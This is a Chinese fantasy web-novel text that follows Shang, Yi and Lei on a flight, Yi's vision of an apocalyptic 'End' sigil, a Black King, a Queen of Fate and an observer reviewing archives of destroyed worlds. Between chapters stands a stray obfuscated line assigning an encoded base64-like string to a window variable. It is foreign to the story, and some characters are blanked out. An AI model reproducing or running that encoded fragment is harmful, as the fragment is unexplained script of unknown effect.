“瑞恩?好像听伊说过。好像是薇莉莉前男友之类的......” “没错,就是他。那个惨死在橙色收尾人手中的人,陨落的第八颗都市之星。” “诶?” “如果他还能活到今天,他定是闪烁的星。可惜......他夭折了,谁也没能救回他。” “那实属可惜呀。这么好的一个人,说没就没了。死在收尾人的手中,你说他得罪谁了吧?造此浩劫,实属不该。” “现在这个世界不允许第八颗星出现,更不允许这颗星出现在底层。更甚至于,不允许这颗星与底层血乳交融。这是来自穹顶的意志,是这世界的无上意志。是连世界首脑都无法为之抗衡的!他的陨落是必然,可那终究是无妄之灾。若没有人心的阴暗与无端的诋毁,他也能像星辰闪耀,即便无法成为都市之星。” “那怎能让这样的惨剧不再上演?” “有是有,但那几乎不可能。这种方法,便是击破苍穹。这是唯一的办法,最简单、最直接、最暴力的方法。可那会带来无数无辜之人的死亡,是滔天的罪行!” “那这是不切实际的!但......这种格局不能再继续下去,必须要做出改变。不然这个世界会走向毁灭的深渊!我们所做的一切都将失去意义。” “所以说......伊,才是这个世界唯一的希望。” “你的意思是?光之种子?” “没错。作为伊娜毕生心血的结晶,她必然是所有人的希望。若她能开花结果,那定是皆大欢喜。但若她半路夭折或是结局苍凉,那定会带来充满阴霾的时代。” “放心!有我在,我不会让这种事出现。” “但愿如此。那么看来,我们是有统一的事业了。也许我可以称呼你为‘同志’了。” “我想也行。这样叫还是比先生女士要亲切些。——你接着说吧。” “我们这些星,虽是闪烁的,但也是被束缚着的。我们不能为我们的国家而战,这是我们都市之星奉行的准则。因为一旦我们有了明确的力场,势必会带来一场腥风血雨。因此我们七个都市之星都是自由人,不属于任何私立阵营,更不属于某个集体或个人;我们只属于这个世界,我们只能为这个世界而战!这是世界首脑赋予我们的职责,也是我们的使命。” “原来如此。——那你们的家人朋友会怎样?” “他们会在世界首脑的庇护下安全地生活,不会遭遇任何灾难,就那么安全地活着。世界首脑这么做,就是为了让我们安心去为世界秩序而奋斗,好让我们真正成为明星一样的存在。” “世界首脑有心了。看来他也并非像外界流传的那般冷血无情。” “的确。你若不跟他交往,你还不知道他其实是个挺不错的人呢。” 这时,无颜客想起了正事。 无颜客: “殇,还有件事我得向你声明一下。从现在开始,我们就是同志了。我会注视你和伊的一举一动,尽我所能地去帮你们。不过我多半不会现身,而是由我的徒弟雷出面解决。毕竟我是都市之星,只能为这个世界而战斗。” 殇: “好嘞!谢谢您。承蒙你的关照了。” 无颜客: “照顾好伊,别让这枚希望的火种熄灭。我们还指望她为世界带来薪火呢。” 殇: “你大可放心,我绝对能够做到。” 广播响了,到了登机的时候。看了看机场大屏幕上的时间,也到了该与这里分别的时候。时间过得真快,转眼又到了离开的时候。这次虽停留长久一些,但仍觉得有一瞬般短暂。要离开这里的时候,伊还有些不舍。因此伊用手机对着机场大厅拍了张照,留作纪念。这时,伊听到了殇叫她。 “喂!伊。该走了,别搁那傻站着了。” 伊转过身来,凝视了殇片刻,随即露出一抹淡淡的微笑。伊回应道: “知道了,殇。” 随后,殇和伊一同走入登机口,登上飞机,准备飞往下一个国家:“幸存者联盟国”。令伊没想到的是,雷随同他们一起上了飞机,而且座位好巧不巧就是伊的旁边。见到雷,伊好奇地问道: “你也跟我们同行吗?” 雷笑着回答道: “没错。师傅说让我护送你一段日子。正巧我也有这个想法,所以我就来了。以后,还请你多关照。” 伊摆摆手,很委婉地说: “不至于,不至于。” 雷冲她笑了笑,然后接着说道: “话说,你真的有别人口中那般神奇吗?” “神奇?也许有吧。” “哦......那你肯定是传奇一样的存在喽。” “没有,没有。我只是个无名小卒,掀不起什么大风浪的。” “不必谦虚了,伊。我都通过我师傅了解到了,你呀,其实是个民间的希望之星呢。” “唔。” “哎呀,说多了说多了。那我们先别聊这个话题了,聊聊别的吧。” “嗯......” “你的家乡是何方啊?” “我家......殇王国的首都。” “哇呜!原来你是穹顶区出身的吗?!嗨呀,我感觉瞬间变弟弟了。我家乡是东玲国的,跟你比起来可差太多了。” “没关系。出身不决定命运,更何况东玲国的沃土人才辈出呢?” “嘻嘻......过奖了。” “对了,你说你要护送我一段时间对吗?” “对。这是师傅委派给我的任务。” 伊对雷友善地伸出了手,并露出了和善的笑容。伊笑面而说: “自我介绍一下,我叫伊。秋水伊人的伊。鄙人不才,还恳请你多加关照。希望我们能成为朋友。” 看着伊的笑容,雷瞬间就有些不好意思了。明明是她主动搭讪,反而她却成了羞涩的那一方,实属是两级反转。雷一把握住了伊的手,诚恳地说: “那我也自我介绍一下,我叫雷·邵。雷就是雷霆的雷,邵就是邵氏集团的邵,但我跟邵氏集团没有任何联系。我还有个名字叫‘雷龙牡丹’,是都市一星调解人。” “哇!你真厉害。” “没有的啦,只是比常人稍稍强一些。” “那你也很厉害呀。” “彼此彼此吧......” 广播播报航空讯息,不知不觉就到了飞机起飞的时候。飞机上的乘客们做好了起飞时的准备,接下来就等飞机起飞。不一会,飞机就按照预定的程序走上了跑道。一轮加速之后,飞机的接地轮慢慢脱离地面,飞机上的人感受到了超重的滋味。飞机起飞了,搭载着旅客离去了。 一段时间后,飞机按部就班地来到指定高度,开始平飞向目的地。坐在飞机了殇和伊凝望着窗外的风景,无不感叹云海与苍天的浩瀚。这是他们第一次坐飞机,这对于他们来说是种无与伦比的体验。那种感觉就好像搭上了天上的行舟,坐在舟中游览这万千世界一般。 殇: “想不到坐飞机竟是这种感觉!我第一次坐这玩意。” 伊: “对呀,这感觉真是奇妙。以前叔叔在我身旁的时候,从来不让我坐飞机,怕我悄悄逃掉。但现在离开了叔叔,再坐上飞机的时候,总觉得缺少了些什么。也许是我还有些恨他,又有些爱他吧。” 殇: “你叔叔碧蓝苍穹也挺不容易的。抓你母亲就挺费劲了,现在还得去抓你。真是有够折腾的了。” 伊笑了。 伊: “正因于此,我才觉得母亲的光辉一直在笼罩着我。我所行所举都跟我母亲是一样的,就连梦想也都是一样的。我和母亲都在为了我们的梦想努力着,希望能拯救这个世界。” 雷: “哦?原来你的志向竟有如此高远吗?” 伊: “嗯?哎呀,差点忘了身边还有个你了。” 雷: “不用在乎我,你们继续说你们的。我就在一旁听着,正巧我也好奇你们两个的事呢。” 殇: “雷,听你那时候在伊后面叨叨,你是无颜客那家伙派来守护你的使者对吗?” 雷: “对。我此行来的目的就是守护伊一段时间,保证她不被各方势力所干扰、影响。” 殇: “那挺好的,正巧我们能多个帮手。” 雷: “对了,殇。我听我师傅说你很强,那么有时间能否与我切磋一下呢?我想知道下你和我师傅到底谁强些。” 殇: “可以呀。不过结果你得做好准备,我......敌不过你师傅。” 雷: “没关系!——那就这样说好了,有时间跟我切磋切磋。” 殇: “行。” 接着,殇和伊继续聊天。 伊: “不知道薇莉莉她们现在怎么样了?我挺担心她们的。” 殇: “我也一样。” 伊: “此行我们见证了许多呀!殇。苍白、法戈·明、倪汝美、星北空、薇莉莉......他们留给我的印象很深刻,尤其是星北空。他是我见过最善良、最温柔、最伟大的男人,没有之一。他的离去是我的一大遗憾......” 殇: “那小子......人挺好的,就跟天上的星星一样。也许我此刻终于明白,他为什么要叫星北空了。北边的星空,远比南边的要耀眼。又因是盛夏,夜的短暂也让星空短暂。他闪耀出的光辉,至今无法暗淡半分。” 伊: “若是他此时能活着,也许薇莉莉就能找到毕生的伴侣吧。他们两个之间,是灵魂之间的沟通,那即使真爱。没有一丝杂质的爱,只是纯粹。那份爱,超越世俗与生死,是精神上的崇高无上。——可生活没有如果,他早已远去,结局依然是这般悲伤了。” 殇: “不。我觉得悲伤有些绝对。比起悲伤来说,也许当事人能感受更多的,是蕴藏在晴空与星辰中的希望。她们会收起这份希望,鼎力前行在布满荆棘的路上。那样的结局,还不算是太坏。” 殇突然想起了大黑,又不禁叹了口气。 殇: “这么一说,我想起了大黑。他是我见过最善良的‘人’,是那扭曲生物之中的真善者。可惜到最后我都没来及跟他正式道一声别,只是匆匆走过彼此的身旁,各自奔赴自己的战场了。” 伊: “唉......这一趟下来,我们收获了许多欢乐,也留下了许多遗憾。希望那些遗憾能更少些吧。但愿人长久,千里共婵娟。” 这时,伊看向了窗外。她放眼展望,辽阔云海、碧空万里,眼中的景象甚是美丽。她笑着叹了口气,感叹道: “这是个美丽而又充满遗憾的世界呀。” 就当她欣赏窗外的景象之时,她口袋中的金罗盘发出了刺眼的光芒,并且开始剧烈震动。伊立即拿出这块金罗盘,仔细一瞧。金罗盘上闪烁其了金色的雷电,一时间又变成了红色的雷电,红金快速交替变化,似乎预示着什么强大存在即将到来。指针飞速翻转,某一刹那静止下来,直直地指向窗外。伊顺着指针的方向看向窗外,紧接着她就看到了惊人的一幕。 浩瀚云海上出现了一个巨大的金色法环。法环发出耀眼的光芒,刹那之间将云海渲染的五彩斑斓。一股强大的能量涌动在云海之上,掀起一阵又一阵的空间波动。眨眼之间,无数星座在天上闪烁,白日见星辰的奇景展现在伊的眼前。 仔细看去,法环的造型极为独特。上端,三个尺寸逐渐递减的圆环套在一起,边缘与一条黄金分割曲线相交。曲线延展一周半,尾部相连一颗五角星,五角星的另一头连着几根华丽的曲线,似鱼的尾巴。三条长度逐渐递减、宽度逐渐递增穿过三圆的圆心,构成了一个类似于时钟的结构。一只有着长而飘逸的拖尾的鱼绕在曲线内侧,靠近三环而不接触,处处体现着它对三圆的尊敬。一只撕裂时空而睁开的眼睛侧着悬浮在三圆一旁,它的瞳孔边有六条笔直线条直指瞳孔处,每条线之间的夹角都是一致的,体现出公平二字。在三圆另一侧的曲线上,三只造型各异的翅膀正张开着,似乎下一刻它就要展翅翱翔。这三翼可分为:上翼、中翼、下翼。上翼形似天使的羽翼,中翼形似燃火的龙翼,下翼形似蕴灵的鸟翼。一对弯形曲折三段的勾牙嵌入三只翅膀所连曲线上端部分,其上的纹理无言地诉说着它的威严。一块块微微凸起的甲片从尾部的星之前一路蔓延到翼的根部,如龙蛇的鳞片。甲片上还有几只伸出来的小爪牙。 下端,一根笔直的竖棒与曲线一点相接,正好保持垂直的角度。竖棒下连接着一把造型特殊的剑,剑的周围有发光的纹理,还有一圣一邪两个有着飘逸拖尾的晶体护法环绕。曲线与折线相交在竖棒上端,构成了莫比乌斯环,在莫比乌斯环的中央还有着线条汇聚成的混沌。混沌中心与一杆天平的杆部中心交于一点,好像是这混沌提着这杆天平。天平的一左一右是一方一圆,预示着正义的两面性与事物与生俱来的两面性。 顶端,有一颗树悬在三圆的上方,其树根树冠都活灵活现地展现出来,似如一颗真正的树。树冠下有着发光的纹理,似太阳藏在了树冠之中。树根底下相连了一颗水晶,那似乎是树的种子。 望着眼前的大法环,伊不由得全身战栗,寒毛直竖脊背发凉。这种感觉如面对一位至高无上的神明。仿佛下一刻,她就会被神明撕碎一般。突然间,伊了解到了这个法环的名称,“终末神华”。 the End-终末: “冥古宙的呼唤,神砥渴望重生。终末注将启明,末日即将来临。颤抖吧,整个世界的生灵们。恐惧吧,那些虚妄的神明们。吾将带来终末,敲响末日的丧钟。” 法环只是展现了刹那,就忽然消失在云海之上...... 貌似只有伊看到了这个法环,飞机上的其他人还保持原来的样子。伊相信那不是幻觉,因为她确确实实感受到了那空间的震颤,还有那来自灵魂深处的恐惧...... 伊: “好......好可怕。” 殇: “怎么了?伊。小睡一会做噩梦了?” 伊: “不,殇。我看到了一个很可怕的东西......它真的非常可怕。” 殇: “嗯?那它没伤害你吧。” 伊: “没有。它只是在我眼前出现了刹那就消失了。” 殇: “那到底是个什么东西?” 伊: “终末......法环......终末神华。” 殇: “终末......终末神?!” 与此同时...... 一道时空的裂隙在某处海边的洞穴处打开,一阵阴冷的风从裂隙中呼啸而出,无数灰色的尘埃从中飘出。一个身着黑色战甲的王,从裂隙之中缓步走出。紫黑色的披风在王的身后飘动,一头银白色的长发在风中舞动,王的霸气与威严从中弥散而出。赤黑色的凋零之息泛起于王的战甲上,如烈火燃烧一般上升至空中,随风飘散在王的身后。一对坚毅的眼眸,令人胆寒的寒光从中射出。一副冷酷的面容,沧桑与疤痕视为王的勋章。一对紧握着的拳头,每一根手指都格外有力量。一颗炙热的心灵,似烈火一般燃烧、温暖王坚强的身躯。 王走出洞穴,猛地踏地一脚,顿时间三步以内的地面塌陷下去,无数碎石成刺崩出地面。王审视了一番洞外的景象,放眼望去只看到了满目阴云与辽阔大海。王抿着嘴笑了笑,随即抬起自己的右手。正巧天这时下起了淅沥的小雨,雨滴欢快地淋落在王的身上,似乎是在欢迎王的到来。王用右手手掌感受着雨滴,然后抬起头来思索了片刻。王突然握紧拳头,赤黑相融的凋零之火从王的拳心中喷涌而出,刹那间膨胀为一朵绽开的凋零之花。花刹那间开放,也刹那间凋零。花凋零之后,王望着天,孤独地叹息几声,随即挥一挥手,将手中攥着的炙热雨滴甩落。 王深吸了一口气,随后慢慢地将气呼出。凋零之息汇聚成两对漆黑色的凋零龙之翼,慢慢地在王的身后以高傲的姿态展开。王的眼眸变成血红色,一道血色的印记在王的脸上亮起,紧接着王身上其他的印记也随之亮起。王对着前方伸出左手,红色的线条在王的手臂上汇聚。雨水淅沥而落,一根根红色的线条穿过雨点,顺着王手所伸的方向,慢慢汇聚成终末法环。终末法环在血光中展开,以一种残缺的状态出现在王的眼前。看着残缺的终末法环,王叹了口气,随后放下了伸出去的左手。法环随即化成一片片微小的红尘,随着一阵清风飘散。 凋零之龙·黑王: “不够,还不够啊。但也无妨,法环重铸之日很快就会到来。命终之死、寒霜印记、炎阳之核、大蛇之牙......很快,也都将会在我的眼中出现。等我修复了人间之终末,届时可看到,那个虚妄的神明在终末之命中化作漫天的灰烬。而那,也将是我的终末之命。” 王说完这些后,拿出一块独特的晶石,将其放在手心之中,似宝贝一般捧着它。这块晶石边缘很暗淡,中心处正发着一丝微弱的光。它当中蕴含的力量正在消退,王试着用自己的力量弥补,但无济于事。雨水滴落在它的表面,它对着王闪烁了一下,似乎想要表达些什么。王似乎看到了它的意思,欣慰地笑了笑,然后好好收起这块晶石。 之后,王踏上征程,向着世界之巅上的王城进发。 同时,在那道时空裂缝的另一边,有着另一座同样位于世界之巅的王城,但那座王城此时是灰烬中的废墟,早就无了当初繁荣兴盛的样子。漫天的灰烬如雨一般在那座王城之中飘落,每一片灰烬都为这座曾繁荣兴盛的城添上几分苍凉。冷风呼啸着吹过王城,吹起无数片焦黑色的灰烬。那灰烬下掩埋了无数生命与这里昔日的繁荣,灰烬是这座王城最后的财富,也是这座王城唯一拥有的士兵。 灰烬吹起时,那些已故的人与物如梦中仙云一般泛起在王城之中,仿佛那番兴盛的样子还留在王城之中。风起颂哀歌,灰烬送故人,王城今朝破,不见当年盛。风的哀歌,也是王城中已逝者们的哀歌;云的惋惜,也是见证王城兴衰之人的惋惜。灰烬漫天飘落,天空阴云密布,城中狂风呼啸,寒冷遍及王城。 因而,这座在灰烬之中的王城有个凄婉的名字,其名曰:“灰烬王城”。 要说灰烬王城中最惹眼的,还属一棵颜色暗淡如天幕阴沉的巨树。这棵巨树在皇宫后的空中花园里伫立着,如一位高大的卫士一样守护它脚下的土地,可漫天的灰尘就是从它的树冠上飘下的,它早已枯萎。巨树下有一个巨大的黄金王座。在这样的天幕之下的王座,其上的黄金是黯淡无光的,一丝一毫的金辉都不曾见到。王座前有一位身披黑绒皇族大衣的女王,她正孤独地眺望远方。女王拥有盛世美颜,全身上下还散发着尊贵的气场,处处都体现着她身为女王的尊贵气质。但在这种气质之下,是一颗寒冷如冰而又祈求希望的心灵。 女王望着灰烬王城中空荡的街道,听着喧嚣的风声,女王面无表情地、呆呆地站在王座之前。女王心中早已麻木,眼中所见到的荒凉与凄惨已让她无法再动情半分。看了一会,女王转过身来,抬头去仰视这棵巨树。这棵巨树的树冠几乎快掉完了叶子,就连它坚强的枝杈也快凋亡。女王不忍低头去看这棵巨树,因为她知道这棵巨树的树根早已腐烂。这棵巨树正在进行着最后的呻吟与挣扎,命终之死的注定已然是这棵巨树最终的命运。 女王平视王座,随后回忆起曾经的过往,不由得连叹三声气。 命运女王: “我的王啊!如今我们的家已经成了灰烬,曾追随你的勇士们也都为这里献上了生命。尤其是你身旁的卫士,他们更是尽忠尽责到死的那一刻。曾经的辉煌已经离我们远去,悲惨的命运已然是我们头上最大的阴霾。我们可怜到连当下也守护不住了!一个......又一个......他们都离我们远去了,可我们除了忍辱逃跑,什么也干不了。” 女王再次抬头,她的表情之中满是担心忧虑。仰视巨树,她的心中久久不能平静。 命运女王: “如今,两个王一同出现在了这个世界上。一个是黑,一个是灰。不知是哪个王会留存下,更不知王会将我们的命运引向何方。但我始终相信,我记忆中那个威风凛凛、叱咤风云的王,会带我们希望。哪怕那份希望,是在暗夜之中啊!” 女王张开双臂,诚恳地向天空祈祷。 命运女王: “愿命运保佑我们的王,让希望终能滋润这片伤痕累累大地。我亲爱的王啊,重新登上你的宝座吧。即便您为我们带来的是无边的黑夜,我们也依然会相信你啊!黑色的黎明,也是耀眼的黎明。” 女王的这一声声祈祷,只有她一人能听见。很快,飘落的灰烬就盖过了女王的祈祷声,一切很快又归为了骇人的寂静。 与此同时...... 在时钟室中,宙级洪流正眺望着远方。终末法环的出现他也见证到了,他知道那将意味着什么。 宙级洪流钟: “警告!时间线出现矛盾!警告!时间线出现错误!警告!时间紊乱指数达到50%!某些异常变量导致严重错误,宙级洪流的力量正逐渐走向失控。沉睡的代码正加快复苏。警告!警告......” 宙级洪流: “我至今未曾想过,它竟然能这么快突破封印。不......是有人释放了它。既然要赌上一切与我们进行殊死较量,那么我们也只好奋起抵抗。那个男人......他这么做究竟是为了什么呢?难道,他是爱上了我们伟大的创世女神希德薇拉吗?那么解释倒也说得通。” 这时,宙级洪流身后想起了沉闷的电子音。 “终于找到你了,泽。” 宙级洪流抿嘴一笑,转过身去,说道: “你终于来了,我们人类可等你许久了......” “管理时间的卫士,无愧于忠诚二字。我想和你谈一笔交易......一笔能够改变世界的交易。不知令下如何?” “我愿意侧耳倾听......我们伟大的导师......斯格玛。” “汝愿意之,吾则说之。若是汝肯之,吾将必行之。” 东玲国 ——完 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 口口口口—第口话:斯格玛归来 档案口口口口口-口口-口口-1: 世界编号∑-81-1 名称为第一世界,是希德薇拉最纯洁的意志的体现。 诞生于口口口口年口口月口口日。 文明整体数量23,存续长久的文明数量为7。 文明道德水平:如璀璨的水晶。 世代进行时间1723年。 世界覆灭原因:饥荒。 调和剂尚未起到作用。 诞生守望者【棋】:鸿之棋与渊之棋。 世界留存指数高。 文明水平低下,仅抵达了奴隶制社会。 诺亚协议生效指数高。 文明特色:修仙。 文明保留协议生效人数:400人。 神只出现数量:317个。 神只死亡数量:211个。 文明最强者到达境界:天河七星。 概述: 这是个修行者当道的世界,修仙是世界的主要文化支柱。多方文明演变出了不同的修仙方式,东方以修身养性练就人与自然合一,西方以强化技艺锻炼自己意志练就成神。 这个世界的人们是如宝石一般璀璨的,品行与道德修养被视作了衡量成员的水准。物质生活对于这个世界的人们来说只是琐事,他们更注重于自我意识与灵魂的修养。这个世界的纷争很少,一般都能通过比武切磋与口头协商解决。这个世界可以称得上是黄金乌托邦。 可惜,这样一个完美的世界,竟在持续长达23年的大饥荒之后走向了毁灭。修炼成仙并不能阻止饥饿的蔓延,反而会加剧饥荒的肆虐。没有科学技术的这七个文明,终究在他们赖以生存的土地上消亡。 只有科技进步,文明才能征服自然。当文明的生产力与科技水平相适应的时候,文明才能得以长存。 档案口口口口口-口口-口口-2: 世界编号∑-81-2 名称为第二世界,是希德薇拉善良意志的体现。 诞生于口口口口年口口月口口日。 文明整体数量57,持续长久的文明数量为13。 文明道德水平:如耀眼的黄金。 世代进行时间2831年。 世界覆灭原因:瘟疫。 调和剂尚未起到作用。 诞生守望者【棋】:炎之棋与寒之棋。 世界留存指数中。 文明水平一般,抵达了封建制社会。 诺亚协议生效指数中。 文明特色:魔法与修行。 文明保留协议生效人数:1000人。 神只出现数量:201个。 神只死亡数量:153个。 文明最强者到达境界:元古圣贤。 概述: 这是个百花齐放的魔法世界,魔法是这个世界的核心支柱。多方文明在魔法的洗礼下演变出了多种多样的魔法社会,都各有各的特色;多种多样的思想也在全球各地萌发,是百花齐放的黄金时代。魔法多用于工具、生产生活,少用于纷争。 这个世界的人们是如黄金一样的高洁,内涵与修养以及学识被视作了衡量成员的水准。物质生活对于这个世界的人们来说只是精神生活的另一种体现,他们更注重于魔法的学习研究与对这个世界的探索。这里的纷争少,但时不时也会发生。解决纷争只有道理、武力和魔法三条途径,一般人们都会选择比试魔法。 可惜,这样的黄金年代最终在持续了35年的大疫病中走向了灭亡。魔法和知识可以改变个人的命运,但无法挽救群体的危亡。凭借一套魔法科学,终究无法与生物病毒进行抗衡,科技还需进步。 档案口口口口口-口口-口口-3: 世界名称∑-81-3 名称第三世界,是希德薇拉坚强意志的体现。 诞生于口口口口年口口月口口日。 文明整体数量281,存续长久的文明数量为35。 文明道德水平:沾有污秽的白银。 世代进行时间4927年。 世界覆灭原因:战争。 调和剂起到作用,但收效甚微。 诞生守望者【棋】:生之棋与死之棋。 世界留存指数低。 文明水平发达,抵达了现代社会的水平。 诺亚协议生效指数低。 文明特色:科技。 文明保留协议生效人数:2000人。 神只出现数量:105个。 神只死亡数量:21个。 文明最强者到达境界:古州之子。 概述: 这是个科技至上的世界,科学事业就是整个世界的唯一支柱。无尽的纷争与冥昧的灾厄肆虐这个世界,残害无数无辜的人们。多方文明执着于争地盘与打仗之中,火药味弥漫在这个世界的每一处土地上。本就老实本分的文明个体也被迫加入到战争之中,生存的出路貌似只剩下了战争。在各大集团的对立与纷争之中,耗时千年所打造出的一派祥和就此作废。 这个世界的人们是污秽的白银,占有欲与杀戮的野性成了隐藏在和平呼声之下的主音律。道德与修养不再被视为衡量人的标准,富有与否、强大与否、地位与否三条准则替代了原来的准则。这个世界的纷争连年不断,大到国家小到地方,无时不刻都在爆发着纷争。 这个世界的人们就如行尸走肉一样,人们抛弃了他们作为文明的羽翼,选择在污秽的怀抱下成为野兽。除了厮杀与自私地敛取财富以外,他们什么也不会做。这个世界的人们都是战士,包括社会上的那些弱势群体。这不是一种荣幸,这是莫大的可悲。本该是容纳千家万户,给予他们庇护与关怀的国,也在纷争中化作了锐利的斩矛。 世界大战在这个世界爆发了四次,每一次都是腥风血雨、尸山血海。文明的哀歌从战争中奏响,行尸走肉的好战决定了这个世界的末路。在冷酷无情的战争之中,从来没有一方是胜利者。 这样一个现代文明发达的世界,最后荒诞地死在了文明的缔造者手中。战争毁掉了这个世界,让一切都走入到了万劫不复的境地。科技让文明的孩子免于饥荒与瘟疫,但却没能让他们解决内部的纷争。反而是制造出安逸的温床,让野性、私念、恶意在温床上滋生。 科技进步带来社会的进步,可社会飞速发展之下,是发展速度与文明道德水平不平衡的关系。当思想能跟上时代的发展时,也许文明才能走上真正的兴盛之路。 档案口口口口口-口口-口口-4: 诞生于口口口口年口口月口口日。 文明整体数量口口,存续长久的文明数量为口口。 代表文明为(数据丢失)。 文明道德水平:青铜一样。 世代进行时间(数据丢失)年。 世界覆灭原因:死亡。 调和剂口口口口口口。 诞生守望者【棋】:未出现。 世界留存指数(数据丢失)。 文明水平极高,抵达了(数据丢失)的水平。 诺亚协议生效指数无。 文明特色:突变核心。 文明保留协议生效人数:暂无。 神只出现数量:目前27个。 神只死亡数量:目前25个。 文明最强者到达境界:天河七星。 概况: 未知....... 此刻在遥远的月球背面的一个基地之中,一个观察者正注视着大屏幕上的一切,正深思着什么。他一直在监视着能改变世界的人们,如今他已然从观察之中得到了结论。想要改变这个世界,光凭这片土地上的人们是不行的,必须有人作为介入者打碎这可悲的循环。 观察者随手一挥,八张星械的设计蓝图出现在他的身旁。审视着蓝图的一台又一台星械,观察者满意地点了点头。观察者又随手一挥将这八张蓝图收起。又一挥手,变出了十六张Exo(终末颂歌)装备的蓝图。观察者再度审视了一番,又满意地点了点头,随即收好这些蓝图,转而继续注视大屏幕上的一切。 “things are getting interesting.(事情变得愈发有趣起来。)” “Now, many things have changed unexpectedly.(现在,许多事情都发生了意想不到的改变。)” “Including rules and self.(包括规则与自我。)” “I think I should get involved in this extraordinary process. After all, it is difficult to break the shackles of fate only with the weak power of mankind. If I don't do it again at this time, I'm afraid the world will perish.(我想我该插手这段峥嵘历程,毕竟仅凭人类单薄的力量很难打破命运的枷锁。若此时我再不出手,这个世界恐怕会走向灭亡。)” 大屏幕上画面一转,随即是某个城市的某处郊区的实时影像出现在大屏幕之中。 法环派虔诚的使徒们正在都市的郊区中膜拜刷在墙壁之上的终末法环。领头的人名叫史密斯,是法环派的创始人之一,其身份为二星都市之光,隶属于终末神华协会,还是个鼎鼎有名的会长。史密斯高举猩红血网长镰,与众使徒们一同喊出:“终末神万岁!” 史密斯的脸上有着猩红法环样式的烙印,这是他之前用烫刀刻意划出的痕迹。他的身上满是伤痕,那是他在都市之中奋力拼搏的证明。但其中不乏有他自己划出的律法印记。 史密斯: “终末神万岁!人类万岁!” 众使徒: “终末神万岁!人类万岁!” 史密斯: “我们注将用我们的努力与虔诚,感召这世界上的一切苦难者。我们将缔造出维护和平的利刃,狩猎那些虚惘的神明!我们是平凡人,但我们不会如炮灰一样死去!高抬我们的灵魂,让神明也为之一颤吧!” 众使徒: “原为未来与希望献上灵魂!” 在使徒的簇拥下,史密斯身上的法环印记发出了微微的红光。猩红血网的力量正在他体内汇聚,终末神的赐福正汇聚在身旁。但这份力量他不会独享,而是撒手一挥分享给自己的使徒们,让整个团体一同享受着来自终末的恩赐。啊!终末。 “the world is indeed suffering, and the absurd religion can make waves. It's a pity to be true, because what they believe in is only the creation of Science: my masterpiece.(这个世界的确是饱受苦难,本来荒谬的宗教竟能掀起波澜。属实是令人惋惜,因为他们信仰的仅是科学的造物:我的杰作。)” “I have to do something to change all this! miss Sidwell didn't want to see all this. Even though she has slept in the land of origin, the pain will eventually hurt her heart.(我必须做些什么改变这一切!希德薇拉小姐不希望看到这一切。即便她已经长眠在起源之土,但那份痛苦终究会刺痛她的心灵。)” “the disaster and catastrophe of the world are intensifying, and the biological weapons released by the traitor are gradually disintegrating the world.(这个世界的灾难与浩劫正在加剧,那个叛徒所释放的生物武器正逐渐瓦解这个世界。)” “A hundred cycles of time, this is destined to be the end of the cycle.(一百次时间的循环,这次注定是循环的终末。)” 大屏幕上画面一转,随即是某个城市的铁墙外的战场的事实影像出现在大屏幕上。 感染者和扭曲生物组成的大军肆虐着这片土地,所到之处寸草不生、遍地狼藉。守护这里的卫士们奋起抵抗,用生命化作壁垒,守护身后的家国。哀嚎声与拼杀声不断,战场上腥风血雨、尸横遍野。无数战士与怪物倒下,一场场惨烈的战争撕裂了无数的生灵。 在血光漫天战场之上,一位身姿矫健、身怀绝技的女将军与扭曲残兵们进行着较量。如水鸟一般跃起,挥出如疾风一般的斩击。身姿如清风衬托般矫健,一步一动都是致命的攻击。一把大剑刺穿一只扭曲生物的身躯,随即猛烈的龙之火点燃在它的身上。拔出大剑,它挣扎着倒下,在列火之中化为了一堆尘埃。 钢铁之龙·孝梨花: “战斗......结束了。” 她回首望去,身后只剩下了三四位还坚挺着的士兵。她环视四周,发现只有自己和那三四位士兵还活着,其他的将士早就战死在了战场之中。她握紧拳头,闭上眼感受身旁死一般的寂静。她咬紧牙关,表情严肃,感觉格外心痛。这次又是几人归,一支大部队打得又只剩了孤零零几人。 孝梨花: “这样的战争究竟何时才能停下!我不忍再看到将士们的离去了。” 她无助的呐喊回荡在空旷的战场之上,只有零星几人能够听到。除此之外,只有可怖的寂静与死亡气息的弥漫。城市里的人们安详地生活着,可城市外的她们要每日浴血奋战,为了家国太平而坚守。感染者和扭曲生物一天一天有,似蝗虫一般侵袭而来,又似小强一般顽强至极。她们的将士一天比一天少,凭借她们的战损率都已经拉低了整个地区的人口增长率。 这样的一幕在其他地方也每日上演着,人类与感染者和扭曲的较量,始终没有停歇过一天。这场旷日持久的战争已经消耗了难以想象的人力物力,若在继续持续下去,这个世界将在战争中焚烧殆尽。无论胜利者是那一方,胜利后的土地也注定是满目疮痍。 “I can't stand idly by. I have to do something to save miss hedvera's world.(我不能在坐视不管了,我必须做些什么来挽救希德薇拉小姐的世界。)” “Even if it was against her will, even if the traitor was her lover.(即便这违反她的意愿,即便那位叛徒是她的爱人。)” “It is being more and more difficult to predict the future, and more and more variables are emerging. Like fission atoms, they are illogical and interrelated.(对未来的预测愈发困难,越来越多的变数正在出现。就像裂变的原子一样,毫无逻辑又环环相扣。)” “what causes all this is uncontrollable variables outside the plan.(导致这一切的是计划之外的不可控变量。)” “Shang, Yi, Angela.(殇、伊、安吉拉。)” “their actions are affecting the world. they are gears, bearings and rotating clockwork.(他们的行为正在影响这个世界,他们是齿轮、轴承、旋转的发条。)” “Interesting, very interesting.(有趣,非常有趣。)” 大屏幕上画面一转,随即是安吉拉所在地的实时影像出现在了大屏幕上。 在安吉拉所处的暮光城堡之中,她正在实验中忙碌。 她一心一意地调试着计算机上的数据,精确掌握实验的进程中的每一点细节。她的助手们细心地进行着实验的每一步,很完美地配合着她。可惜最后又是失败的结果,一条生命就静静地消逝在了实验室之中。结果虽不尽人意,但她心中仍怀着希望。她坚信,她的努力是值得的,她的梦想一定会实现的。她期望着,这个世界走向光明的那一天,就是明天。 